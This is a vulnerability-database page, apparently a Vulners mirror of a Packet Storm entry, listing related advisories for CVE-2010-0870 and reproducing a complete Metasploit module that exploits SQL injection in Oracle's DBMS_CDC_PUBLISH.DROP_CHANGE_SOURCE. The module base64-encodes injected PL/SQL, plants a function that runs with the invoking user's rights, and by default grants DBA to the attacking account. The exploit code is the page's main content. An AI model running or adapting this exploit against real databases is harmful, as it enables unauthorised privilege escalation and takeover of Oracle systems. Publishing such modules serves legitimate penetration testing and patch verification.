Lucene search
K

Oracle DB SQL Injection Via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 160 Views

Oracle SQL Injection via DBMS_CDC_PUBLISH.DROP_CHANGE_SOURC

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-0870
29 May 201815:50
circl
Check Point Advisories
Oracle Database Server DBMS_CDC_PUBLISH Multiple Procedure SQL Injection (CVE-2010-0870)
10 Jun 201000:00
checkpoint_advisories
CVE
CVE-2010-0870
13 Apr 201022:00
cve
Cvelist
CVE-2010-0870
13 Apr 201022:00
cvelist
Metasploit
Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE
26 Apr 201021:36
metasploit
NVD
CVE-2010-0870
13 Apr 201022:30
nvd
Oracle
Oracle Critical Patch Update Advisory - April 2010
13 Apr 201000:00
oracle
Oracle
Security | Oracle Critical Patch Update - April 2010
13 Apr 201000:00
oracle
Prion
Design/Logic Flaw
13 Apr 201022:30
prion
securityvulns
Oracle / Sun applications multiple security ulnerabilities
17 Apr 201000:00
securityvulns
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',  
'Description' => %q{  
The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE  
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege  
on the vulnerable package can exploit this vulnerability. By default, users granted  
EXECUTE_CATALOG_ROLE have the required privilege.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2010-0870' ],  
[ 'OSVDB', '63772'],  
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]  
],  
'DisclosureDate' => '2010-04-26'))  
  
register_options(  
[  
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
  
function = "  
CREATE OR REPLACE FUNCTION #{name}  
RETURN VARCHAR2 AUTHID CURRENT_USER  
IS  
PRAGMA AUTONOMOUS_TRANSACTION;  
BEGIN  
EXECUTE IMMEDIATE '#{datastore['SQL']}';  
COMMIT;  
RETURN NULL;  
END;  
"  
  
package = "  
BEGIN  
SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');  
END;  
"  
  
uno = Rex::Text.encode_base64(function)  
dos = Rex::Text.encode_base64(package)  
  
encoded_sql = %Q|  
DECLARE  
#{var1} VARCHAR2(32767);  
#{var2} VARCHAR2(32767);  
BEGIN  
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));  
EXECUTE IMMEDIATE #{var1};  
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));  
EXECUTE IMMEDIATE #{var2};  
END;  
|  
  
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")  
prepare_exec(encoded_sql)  
print_status("Done...")  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 23.6
EPSS0.47666
160